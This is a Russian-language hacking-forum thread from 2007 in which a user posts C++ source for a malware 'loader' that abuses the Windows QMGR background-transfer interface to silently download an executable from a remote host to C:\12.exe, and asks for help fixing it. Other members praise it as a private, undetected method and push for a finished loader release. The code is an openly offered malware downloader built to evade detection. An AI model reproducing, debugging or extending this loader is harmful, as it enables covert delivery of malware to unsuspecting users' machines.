loader через QMGR интерфейс |

17.09.2007, 14:46
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
С нами:
10140806
Репутация:
932
|
|
loader через QMGR интерфейс
Помоему этого ещё никто не делал.  Вот вроде написал, только gr->ResumeGroup() не хочет S_OK возвращать.А так всё остальное ок и вроде как ещё ничем не палится(если бы палилось, то уже начало бы) .Помогите понять что нитак:
Код:
#define _WIN32_WINNT 0x0500
#include "QMGR.h"
#define UNICODE
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment(linker,"/SECTION:.text,EWR")
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
IBackgroundCopyQMgr* man=NULL;
IBackgroundCopyGroup* gr=NULL;
IBackgroundCopyJob1 * jb=(IBackgroundCopyJob1 *)GlobalAlloc(NULL,sizeof(IBackgroundCopyJob1));
FILESETINFO* file=(FILESETINFO*)GlobalAlloc(NULL,sizeof(FILESETINFO));
GUID grID,jbID;
VARIANT* pv=(VARIANT*)GlobalAlloc(NULL,sizeof(VARIANT*));
CoCreateGuid(&grID);
CoCreateGuid(&jbID);
BSTR local = BSTR("C:\\12.exe");
BSTR rem = BSTR("http://site/1.exe");
file->bstrLocalFile=local;
file->bstrRemoteFile=rem;
file->dwSizeHint=10000;
HRESULT h= CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if(SUCCEEDED(h)){
h=CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL,
CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER|CLSCTX_LOCAL_SERVER,
__uuidof(IBackgroundCopyQMgr),
(void**) &man);
if(SUCCEEDED(h)){
if(man->CreateGroup(grID,&gr)!=S_OK){
MessageBoxA(0,"CrGr","Error!",0);
ExitProcess(0);
}
gr->SetPropA(GROUPPROP_PRIORITY,(VARIANT*)1);
gr->SetPropA(GROUPPROP_PROTOCOLFLAGS ,(VARIANT*)QM_PROTOCOL_HTTP );
gr->SetPropA(GROUPPROP_NOTIFYFLAGS ,(VARIANT*)QM_NOTIFY_DISABLE_NOTIFY);
gr->SetPropA(GROUPPROP_NOTIFYCLSID,(VARIANT*)"1");
gr->SetPropA(GROUPPROP_DISPLAYNAME,(VARIANT*)"123");
gr->SetPropA(GROUPPROP_DESCRIPTION,(VARIANT*)"2");
gr->SetPropA(GROUPPROP_REMOTEUSERID,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_REMOTEUSERPWD ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_LOCALUSERID,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_LOCALUSERPWD,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSSIZE ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSPERCENT ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSTIME,(VARIANT*)NULL);
if(gr->CreateJob(jbID,&jb)!=S_OK){
MessageBoxA(0,"CrJb","Error!",0);
ExitProcess(0);
}
if(jb->AddFiles(0,&file)!=S_OK){
MessageBoxA(0,"AddFiles","Error!",0);
ExitProcess(0);
}
if(gr->ResumeGroup()!=S_OK){
MessageBoxA(0,"Resume","Error!",0);
ExitProcess(0);
}
Sleep(10000); //ламо было заниматься получение статуса и т.д.
}
}
jb->Release();
gr->CancelGroup();
ExitProcess(0);
}
Вот ссылка на msdn: http://msdn2.microsoft.com/en-us/library/aa363139.aspx
|
|
|

17.09.2007, 15:18
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами:
11042306
Репутация:
2726
|
|
> Помоему этого ещё никто не делал
конечно не делал, приватный способ имхо!
|
|
|

17.09.2007, 15:29
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
С нами:
10140806
Репутация:
932
|
|
> Помоему этого ещё никто не делал
конечно не делал, приватный способ имхо!
Ну раз так...
ставьте плюсики я герой!!!!!!!!!!!
|
|
|

17.09.2007, 16:24
|
|
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
С нами:
10370602
Репутация:
472
|
|
>>Помоему этого ещё никто не делал.
QMGR Interfaces
[Queue Manager (QMGR) interfaces are available for use in the operating systems listed in the Requirements section. They may be altered or unavailable in subsequent versions. Use the BITS interfaces instead.]
Давай чтонибудь поновее релизь.
|
|
|

17.09.2007, 16:34
|
|
Постоянный
Регистрация: 19.06.2007
Сообщений: 315
С нами:
9945026
Репутация:
326
|
|
Герой  Ловим +1 в репу.
Но давай организуй норм лодер 
Нужно доводить релиз до норм вида.
Последний раз редактировалось n0153r; 17.09.2007 в 16:38..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|